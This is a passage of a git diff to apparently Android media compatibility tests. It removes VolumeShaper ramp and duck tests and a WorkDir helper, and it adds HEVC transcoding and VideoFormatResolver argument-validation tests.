-        // With the two ramps combined, the audio should rise and then fall.
-        final VolumeShaper.Configuration LONG_RAMP =
-                new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
-                    .setDuration(durationMs)
-                    .build();
-        final VolumeShaper.Configuration LONG_DUCK =
-                new VolumeShaper.Configuration.Builder(LONG_RAMP)
-                    .reflectTimes()
-                    .build();
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            try (   Player player = createPlayer(p);
-                    VolumeShaper volumeShaperRamp = player.createVolumeShaper(LONG_RAMP);
-                    VolumeShaper volumeShaperDuck = player.createVolumeShaper(LONG_DUCK);
-                    ) {
-                final String testName = TEST_NAME + " " + player.name();
-
-                final float firstVolumeRamp = volumeShaperRamp.getVolume();
-                final float firstVolumeDuck = volumeShaperDuck.getVolume();
-                assertEquals(testName
-                        + " first ramp value should be 0.f, but is " + firstVolumeRamp,
-                        0.f, firstVolumeRamp, VOLUME_TOLERANCE);
-                assertEquals(testName
-                        + " first duck value should be 1.f, but is " + firstVolumeDuck,
-                        1.f, firstVolumeDuck, VOLUME_TOLERANCE);
-                player.start();
-
-                Thread.sleep(1000);
-
-                final float lastVolumeRamp = volumeShaperRamp.getVolume();
-                final float lastVolumeDuck = volumeShaperDuck.getVolume();
-                assertEquals(testName
-                        + " no-play ramp value should be 0.f, but is " + lastVolumeRamp,
-                        0.f, lastVolumeRamp, VOLUME_TOLERANCE);
-                assertEquals(testName
-                        + " no-play duck value should be 1.f, but is " + lastVolumeDuck,
-                        1.f, lastVolumeDuck, VOLUME_TOLERANCE);
-
-                Log.d(TAG, testName + " volume should be silent and start increasing now");
-
-                // we actually start now!
-                volumeShaperRamp.apply(VolumeShaper.Operation.PLAY);
-                volumeShaperDuck.apply(VolumeShaper.Operation.PLAY);
-                Thread.sleep(durationMs / 2);
-
-                Log.d(TAG, testName + " volume should be > 0 and about maximum here");
-                final float lastVolumeRamp2 = volumeShaperRamp.getVolume();
-                final float lastVolumeDuck2 = volumeShaperDuck.getVolume();
-                assertTrue(testName
-                        + " last ramp value should be > 0.f " + lastVolumeRamp2,
-                        lastVolumeRamp2 > 0.f);
-                assertTrue(testName
-                        + " last duck value should be < 1.f " + lastVolumeDuck2,
-                        lastVolumeDuck2 < 1.f);
-
-                Log.d(TAG, testName + " volume should start decreasing shortly");
-                Thread.sleep(durationMs / 2 + 1000);
-
-                Log.d(TAG, testName + " volume should be silent now");
-                final float lastVolumeRamp3 = volumeShaperRamp.getVolume();
-                final float lastVolumeDuck3 = volumeShaperDuck.getVolume();
-                assertEquals(testName
-                        + " last ramp value should be 1.f, but is " + lastVolumeRamp3,
-                        1.f, lastVolumeRamp3, VOLUME_TOLERANCE);
-                assertEquals(testName
-                        + " last duck value should be 0.f, but is " + lastVolumeDuck3,
-                        0.f, lastVolumeDuck3, VOLUME_TOLERANCE);
-
-                runCloseTest(testName, volumeShaperRamp);
-                runCloseTest(testName, volumeShaperDuck);
-            }
-        }
-    } // testPlayerTwoShapers
-
-    // tests that shaper advances in the presence of pause and stop (time based after start).
-    @LargeTest
-    public void testPlayerRunDuringPauseStop() throws Exception {
-        final String TEST_NAME = "testPlayerRunDuringPauseStop";
-        if (!hasAudioOutput()) {
-            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
-                    + "audio output HAL");
-            return;
-        }
-
-        final VolumeShaper.Configuration config = LINEAR_RAMP;
-
-        for (int p = 0; p < PLAYER_TYPES; ++p) {
-            for (int pause = 0; pause < 2; ++pause) {
-
-                if ((p == PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED
-                        || p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) && pause == 0) {
-                    // Do not test stop and MediaPlayer because a
-                    // MediaPlayer stop requires prepare before starting.
-                    continue;
-                }
-
-                try (   Player player = createPlayer(p);
-                        VolumeShaper volumeShaper = player.createVolumeShaper(config);
-                        ) {
-                    final String testName = TEST_NAME + " " + player.name();
-
-                    Log.d(TAG, testName + " starting volume, should ramp up");
-                    volumeShaper.apply(VolumeShaper.Operation.PLAY);
-                    assertEquals(testName + " volume should be 0.f",
-                            0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-                    player.start();
-                    Thread.sleep(WARMUP_TIME_MS * 2);
-
-                    Log.d(TAG, testName + " applying " + (pause != 0 ? "pause" : "stop"));
-                    if (pause == 1) {
-                        player.pause();
-                    } else {
-                        player.stop();
-                    }
-                    Thread.sleep(RAMP_TIME_MS);
-
-                    Log.d(TAG, testName + " starting again");
-                    player.start();
-                    Thread.sleep(WARMUP_TIME_MS * 2);
-
-                    Log.d(TAG, testName + " should be full volume");
-                    assertEquals(testName + " volume should be 1.f",
-                            1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-                }
-            }
-        }
-    } // testPlayerRunDuringPauseStop
-
-    // Player should be started before calling (as it is not an argument to method).
-    private void runRampTest(String testName, VolumeShaper volumeShaper) throws Exception {
-        for (VolumeShaper.Configuration config : ALL_STANDARD_RAMPS) {
-            // This replaces with play.
-            Log.d(TAG, testName + " Replace + Play (volume should increase)");
-            volumeShaper.replace(config, VolumeShaper.Operation.PLAY, false /* join */);
-            Thread.sleep(RAMP_TIME_MS / 2);
-
-            // Reverse the direction of the volume shaper curve
-            Log.d(TAG, testName + " Reverse (volume should decrease)");
-            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-            Thread.sleep(RAMP_TIME_MS / 2 + 1000);
-
-            Log.d(TAG, testName + " Check Volume (silent)");
-            assertEquals(testName + " volume should be 0.f",
-                    0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            // Forwards
-            Log.d(TAG, testName + " Play (volume should increase)");
-            volumeShaper.apply(VolumeShaper.Operation.PLAY);
-            Thread.sleep(RAMP_TIME_MS + 1000);
-
-            Log.d(TAG, testName + " Check Volume (volume at max)");
-            assertEquals(testName + " volume should be 1.f",
-                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            // Reverse
-            Log.d(TAG, testName + " Reverse (volume should decrease)");
-            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-            Thread.sleep(RAMP_TIME_MS + 1000);
-
-            Log.d(TAG, testName + " Check Volume (volume should be silent)");
-            assertEquals(testName + " volume should be 0.f",
-                    0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            // Forwards
-            Log.d(TAG, testName + " Play (volume should increase)");
-            volumeShaper.apply(VolumeShaper.Operation.PLAY);
-            Thread.sleep(RAMP_TIME_MS + 1000);
-
-            // Comment out for headset plug/unplug test
-            // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
-            //
-
-            Log.d(TAG, testName + " Check Volume (volume at max)");
-            assertEquals(testName + " volume should be 1.f",
-                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            Log.d(TAG, testName + " done");
-        }
-    } // runRampTest
-
-    // Player should be started before calling (as it is not an argument to method).
-    private void runDuckTest(String testName, VolumeShaper volumeShaper) throws Exception {
-        final VolumeShaper.Configuration[] configs = new VolumeShaper.Configuration[] {
-                LINEAR_DUCK,
-        };
-
-        for (VolumeShaper.Configuration config : configs) {
-            Log.d(TAG, testName + " Replace + Reverse (volume at max)");
-            // CORNER CASE: When you replace with REVERSE, it stays at the initial point.
-            volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, false /* join */);
-            Thread.sleep(RAMP_TIME_MS / 2);
-            assertEquals(testName + " volume should be 1.f",
-                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            // CORNER CASE: reverse twice doesn't do anything.
-            Thread.sleep(RAMP_TIME_MS / 2);
-            Log.d(TAG, testName + " Reverse after reverse (volume at max)");
-            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-            assertEquals(testName + " volume should be 1.f",
-                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            Log.d(TAG, testName + " Duck from start (volume should decrease)");
-            volumeShaper.apply(VolumeShaper.Operation.PLAY);
-            Thread.sleep(RAMP_TIME_MS * 2);
-
-            Log.d(TAG, testName + " Duck done (volume should be low, 0.2f)");
-            assertEquals(testName + " volume should be 0.2f",
-                    0.2f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-            Log.d(TAG, testName + " Unduck (volume should increase)");
-            volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-            Thread.sleep(RAMP_TIME_MS * 2);
-
-            // Comment out for headset plug/unplug test
-            // Log.d(TAG, testName + " headset check"); Thread.sleep(10000 /* millis */);
-            //
-            Log.d(TAG, testName + " Unduck done (volume at max)");
-            assertEquals(testName + " volume should be 1.f",
-                    1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-        }
-    } // runDuckTest
-
-    // VolumeShaper should not be started prior to this test; it is replaced
-    // in this test.
-    private void runRampCornerCaseTest(
-            String testName, VolumeShaper volumeShaper, VolumeShaper.Configuration config)
-                    throws Exception {
-        // ramps start at 0.f
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        Log.d(TAG, testName + " Reverse at start (quiet now)");
-        // CORNER CASE: When you begin with REVERSE, it stays at the initial point.
-        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-        Thread.sleep(RAMP_TIME_MS / 2);
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        // CORNER CASE: reverse twice doesn't do anything.
-        Thread.sleep(RAMP_TIME_MS / 2);
-        Log.d(TAG, testName + " Reverse after reverse (still quiet)");
-        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        Log.d(TAG, testName + " Ramp from start (volume should increase)");
-        volumeShaper.apply(VolumeShaper.Operation.PLAY);
-        Thread.sleep(RAMP_TIME_MS * 2);
-
-        Log.d(TAG, testName + " Volume persists at maximum 1.f");
-        assertEquals(testName + " volume should be 1.f",
-                1.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        Log.d(TAG, testName + " Reverse ramp (volume should decrease)");
-        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-        Thread.sleep(RAMP_TIME_MS / 2);
-
-        // join in REVERSE should freeze
-        final float volume = volumeShaper.getVolume();
-        Log.d(TAG, testName + " Replace ramp with join in REVERSE (volume steady)");
-        volumeShaper.replace(config, VolumeShaper.Operation.REVERSE, true /* join */);
-
-        Thread.sleep(RAMP_TIME_MS / 2);
-        // Are we frozen?
-        final float volume2 = volumeShaper.getVolume();
-        assertEquals(testName + " volume should be the same (volume steady)",
-                volume, volume2, JOIN_VOLUME_TOLERANCE);
-
-        // Begin playing
-        Log.d(TAG, testName + " Play joined ramp (volume should increase)");
-        volumeShaper.apply(VolumeShaper.Operation.PLAY);
-        Thread.sleep(RAMP_TIME_MS * 2);
-
-        // Reverse to get back to start of the joined curve.
-        Log.d(TAG, testName + " Reverse joined ramp (volume should decrease)");
-        volumeShaper.apply(VolumeShaper.Operation.REVERSE);
-        Thread.sleep(RAMP_TIME_MS * 2);
-
-        // At this time, we are back to the join point.
-        // We check now that the scaling for the join is permanent.
-        Log.d(TAG, testName + " Joined ramp at start (volume same as at join)");
-        final float volume3 = volumeShaper.getVolume();
-        assertEquals(testName + " volume should be same as start for joined ramp",
-                volume2, volume3, JOIN_VOLUME_TOLERANCE);
-    } // runRampCornerCaseTest
-
-    // volumeShaper is closed in this test.
-    private void runCloseTest(String testName, VolumeShaper volumeShaper) throws Exception {
-        Log.d(TAG, testName + " closing");
-        volumeShaper.close();
-        runCloseTest2(testName, volumeShaper);
-    } // runCloseTest
-
-    // VolumeShaper should be closed prior to this test.
-    private void runCloseTest2(String testName, VolumeShaper volumeShaper) throws Exception {
-        // CORNER CASE:
-        // VolumeShaper methods should throw ISE after closing.
-        Log.d(TAG, testName + " getVolume() after close should throw ISE");
-        assertThrows(IllegalStateException.class,
-                volumeShaper::getVolume);
-
-        Log.d(TAG, testName + " apply() after close should throw ISE");
-        assertThrows(IllegalStateException.class,
-                ()->{ volumeShaper.apply(VolumeShaper.Operation.REVERSE); });
-
-        Log.d(TAG, testName + " replace() after close should throw ISE");
-        assertThrows(IllegalStateException.class,
-                ()->{ volumeShaper.replace(
-                        LINEAR_RAMP, VolumeShaper.Operation.PLAY, false /* join */); });
-
-        Log.d(TAG, testName + " closing x2 is OK");
-        volumeShaper.close(); // OK to close twice.
-        Log.d(TAG, testName + " closing x3 is OK");
-        volumeShaper.close(); // OK to close thrice.
-    } // runCloseTest2
-
-    // Player should not be started prior to calling (it is started in this test)
-    // VolumeShaper should not be started prior to calling (it is not started in this test).
-    private void runStartIdleTest(String testName, VolumeShaper volumeShaper, Player player)
-            throws Exception {
-        Log.d(TAG, testName + " volume after creation or pause doesn't advance (silent now)");
-        // CORNER CASE:
-        // volumeShaper volume after creation or pause doesn't advance.
-        Thread.sleep(WARMUP_TIME_MS);
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        player.start();
-        Thread.sleep(WARMUP_TIME_MS);
-
-        Log.d(TAG, testName + " volume after player start doesn't advance if play isn't called."
-                + " (still silent)");
-        // CORNER CASE:
-        // volumeShaper volume after creation doesn't or pause doesn't advance even
-        // after the player starts.
-        Thread.sleep(WARMUP_TIME_MS);
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-    } // runStartIdleTest
-
-    // Player should not be running prior to calling (it is started in this test).
-    // VolumeShaper is also started in this test.
-    private void runStartSyncTest(String testName, VolumeShaper volumeShaper, Player player)
-            throws Exception {
-        Log.d(TAG, testName + " volume after creation or pause doesn't advance "
-                + "if player isn't started. (silent now)");
-        volumeShaper.apply(VolumeShaper.Operation.PLAY);
-        // CORNER CASE:
-        // volumeShaper volume after creation or pause doesn't advance
-        // even after play is called.
-        Thread.sleep(WARMUP_TIME_MS);
-        assertEquals(testName + " volume should be 0.f",
-                0.f, volumeShaper.getVolume(), VOLUME_TOLERANCE);
-
-        Log.d(TAG, testName + " starting now (volume should increase)");
-        player.start();
-        Thread.sleep(WARMUP_TIME_MS);
-
-        Log.d(TAG, testName + " volume after player start advances if play is called.");
-        // CORNER CASE:
-        // Now volume should have advanced since play is called.
-        Thread.sleep(WARMUP_TIME_MS);
-        assertTrue(testName + " volume should be greater than 0.f",
-                volumeShaper.getVolume() > 0.f);
-    } // runStartSyncTest
-}
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
deleted file mode 100644
index e93bd19..0000000
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-
-import android.os.Environment;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import org.junit.Assert;
-
-import java.io.File;
-
-class WorkDir {
-    private static final String MEDIA_PATH_INSTR_ARG_KEY = "media-path";
-    static private final File getTopDir() {
-        Assert.assertEquals(Environment.getExternalStorageState(), Environment.MEDIA_MOUNTED);
-        return Environment.getExternalStorageDirectory();
-    }
-    static private final String getTopDirString() {
-        return (getTopDir().getAbsolutePath() + File.separator);
-    }
-    static final String getMediaDirString() {
-        android.os.Bundle bundle = InstrumentationRegistry.getArguments();
-        String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
-        if (mediaDirString == null) {
-            return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
-        } else if (!mediaDirString.endsWith(File.separator)) {
-            // user has specified the mediaDirString via instrumentation-arg
-            return mediaDirString + File.separator;
-        } else {
-            // user has specified the mediaDirString via instrumentation-arg
-            return mediaDirString;
-        }
-    }
-}
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
index b33259f..fbf5cd9 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
@@ -507,14 +507,16 @@
         try {
             BitmapFactory mBitmapFactory = new BitmapFactory();
 
-            MediaMetadataRetriever mMediaMetadataRetriever = new MediaMetadataRetriever();
-            try {
-                mMediaMetadataRetriever.setDataSource(filePath);
-            } catch(Exception e) {
-                e.printStackTrace();
-                return false;
+            Bitmap outThumbnail;
+            try (MediaMetadataRetriever mediaMetadataRetriever = new MediaMetadataRetriever()) {
+                try {
+                    mediaMetadataRetriever.setDataSource(filePath);
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    return false;
+                }
+                outThumbnail = mediaMetadataRetriever.getFrameAtTime(-1);
             }
-            Bitmap outThumbnail = mMediaMetadataRetriever.getFrameAtTime(-1);
 
             //Verify the thumbnail
             Bitmap goldenBitmap = mBitmapFactory.decodeFile(goldenPath);
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
index 0505d8b..5c1ec89 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
@@ -282,6 +282,10 @@
             mRecorder.reset();
             mRecorder.release();
             output.write(", " + i);
+            if (mRemoveVideo) {
+                removeRecodedVideo(filename);
+            }
+
         }
 
         output.write("\n\n");
@@ -371,6 +375,9 @@
             mRecorder.release();
             Log.v(TAG, "release video recorder");
             output.write(", " + i);
+            if (mRemoveVideo) {
+                removeRecodedVideo(filename);
+            }
         }
 
         output.write("\n\n");
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
new file mode 100644
index 0000000..41f6c22
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
new file mode 100644
index 0000000..7211fec1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index c9b2b16..78e7b33 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -88,9 +88,11 @@
 
     // Default setting for transcoding to H.264.
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final int BIT_RATE = 20000000;            // 20Mbps
-    private static final int WIDTH = 1920;
-    private static final int HEIGHT = 1080;
+    private static final int BIT_RATE = 4000000;            // 4Mbps
+    private static final int WIDTH = 720;
+    private static final int HEIGHT = 480;
+    private static final int FRAME_RATE = 30;
+    private static final int INT_NOT_SET = Integer.MIN_VALUE;
 
     // Threshold for the psnr to make sure the transcoded video is valid.
     private static final int PSNR_THRESHOLD = 20;
@@ -128,9 +130,33 @@
     /**
      * Creates a MediaFormat with the default settings.
      */
-    private static MediaFormat createMediaFormat() {
-        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+    private static MediaFormat createDefaultMediaFormat() {
+        return createMediaFormat(MIME_TYPE, WIDTH, HEIGHT, INT_NOT_SET /* frameRate */,
+                BIT_RATE /* bitrate */);
+    }
+
+    /**
+     * Creates a MediaFormat with custom settings.
+     */
+    private static MediaFormat createMediaFormat(String mime, int width, int height, int frameRate,
+            int bitrate) {
+        MediaFormat format = new MediaFormat();
+        // Set mime if it not null.
+        if (mime != null) {
+            format.setString(MediaFormat.KEY_MIME, mime);
+        }
+        if (width != INT_NOT_SET) {
+            format.setInteger(MediaFormat.KEY_WIDTH, width);
+        }
+        if (height != INT_NOT_SET) {
+            format.setInteger(MediaFormat.KEY_HEIGHT, height);
+        }
+        if (frameRate != INT_NOT_SET) {
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
+        }
+        if (bitrate != INT_NOT_SET) {
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        }
         return format;
     }
 
@@ -148,9 +174,9 @@
         androidx.test.InstrumentationRegistry.registerInstance(
                 InstrumentationRegistry.getInstrumentation(), new Bundle());
 
-        // Setup source HEVC file uri.
-        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames,
-                "Video_HEVC_30Frames.mp4");
+        // Setup default source HEVC 480p file uri.
+        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_480p_30Frames,
+                "Video_HEVC_480p_30Frames.mp4");
 
         // Setup source AVC file uri.
         mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames,
@@ -185,7 +211,7 @@
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
                     new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, null,
-                            createMediaFormat())
+                            createDefaultMediaFormat())
                             .build();
         });
     }
@@ -200,7 +226,7 @@
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
                     new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, mDestinationUri,
-                            createMediaFormat())
+                            createDefaultMediaFormat())
                             .setClientPid(-1)
                             .build();
         });
@@ -216,7 +242,7 @@
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
                     new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, mDestinationUri,
-                            createMediaFormat())
+                            createDefaultMediaFormat())
                             .setClientUid(-1)
                             .build();
         });
@@ -231,7 +257,8 @@
         }
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
-                    new VideoTranscodingRequest.Builder(null, mDestinationUri, createMediaFormat())
+                    new VideoTranscodingRequest.Builder(null, mDestinationUri,
+                            createDefaultMediaFormat())
                             .build();
         });
     }
@@ -245,7 +272,8 @@
         }
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
-                    new VideoTranscodingRequest.Builder(null, mDestinationUri, createMediaFormat())
+                    new VideoTranscodingRequest.Builder(null, mDestinationUri,
+                            createDefaultMediaFormat())
                             .build();
         });
     }
@@ -260,7 +288,7 @@
         assertThrows(IllegalArgumentException.class, () -> {
             VideoTranscodingRequest request =
                     new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, null,
-                            createMediaFormat())
+                            createDefaultMediaFormat())
                             .build();
         });
     }
@@ -288,7 +316,7 @@
         Semaphore transcodeCompleteSemaphore = new Semaphore(0);
 
         VideoTranscodingRequest request =
-                new VideoTranscodingRequest.Builder(srcUri, dstUri, createMediaFormat())
+                new VideoTranscodingRequest.Builder(srcUri, dstUri, createDefaultMediaFormat())
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
@@ -340,7 +368,7 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
@@ -354,7 +382,7 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -368,7 +396,7 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -379,6 +407,14 @@
                 TranscodingSession.RESULT_SUCCESS);
     }
 
+    public void testHevcTranscoding720PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_720p_30Frames,
+                "Video_HEVC_720p_30Frames.mp4"), false /* testFileDescriptor */);
+    }
+
     public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
         if (shouldSkip()) {
             return;
@@ -550,6 +586,135 @@
                 stats.mAveragePSNR >= PSNR_THRESHOLD);
     }
 
+    private void testVideoFormatResolverShouldTranscode(String mime, int width, int height,
+            int frameRate) {
+        ApplicationMediaCapabilities clientCaps =
+                new ApplicationMediaCapabilities.Builder().build();
+
+        MediaFormat mediaFormat = createMediaFormat(mime, width, height, frameRate, BIT_RATE);
+
+        TranscodingRequest.VideoFormatResolver
+                resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
+                mediaFormat);
+        assertTrue(resolver.shouldTranscode());
+        MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
+        assertNotNull(videoTrackFormat);
+    }
+
+    public void testVideoFormatResolverValidArgs() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverShouldTranscode(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT,
+                FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverAv1Mime() {
+        if (shouldSkip()) {
+            return;
+        }
+        ApplicationMediaCapabilities clientCaps =
+                new ApplicationMediaCapabilities.Builder().build();
+
+        MediaFormat mediaFormat = createMediaFormat(MediaFormat.MIMETYPE_VIDEO_AV1, WIDTH, HEIGHT,
+                FRAME_RATE, BIT_RATE);
+
+        TranscodingRequest.VideoFormatResolver
+                resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
+                mediaFormat);
+        assertFalse(resolver.shouldTranscode());
+        MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
+        assertNull(videoTrackFormat);
+    }
+
+    private void testVideoFormatResolverInvalidArgs(String mime, int width, int height,
+            int frameRate) {
+        ApplicationMediaCapabilities clientCaps =
+                new ApplicationMediaCapabilities.Builder().build();
+
+        MediaFormat mediaFormat = createMediaFormat(mime, width, height, frameRate, BIT_RATE);
+
+        TranscodingRequest.VideoFormatResolver
+                resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
+                mediaFormat);
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
+        });
+    }
+
+    public void testVideoFormatResolverZeroWidth() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, 0 /* width */,
+                HEIGHT, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverZeroHeight() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH,
+                0 /* height */, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverZeroFrameRate() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH,
+                HEIGHT, 0 /* frameRate */);
+    }
+
+    public void testVideoFormatResolverNegativeWidth() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, -WIDTH,
+                HEIGHT, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverNegativeHeight() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH,
+                -HEIGHT, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverNegativeFrameRate() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH,
+                HEIGHT, -FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverMissingWidth() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, INT_NOT_SET /* width*/,
+                HEIGHT /* height */, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverMissingHeight() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverInvalidArgs(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH,
+                INT_NOT_SET /* height */, FRAME_RATE);
+    }
+
+    public void testVideoFormatResolverMissingFrameRate() {
+        if (shouldSkip()) {
+            return;
+        }
+        testVideoFormatResolverShouldTranscode(MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT,
+                INT_NOT_SET /* frameRate */);
+    }
+
     private boolean compareFormat(MediaFormat fmt1, MediaFormat fmt2) {
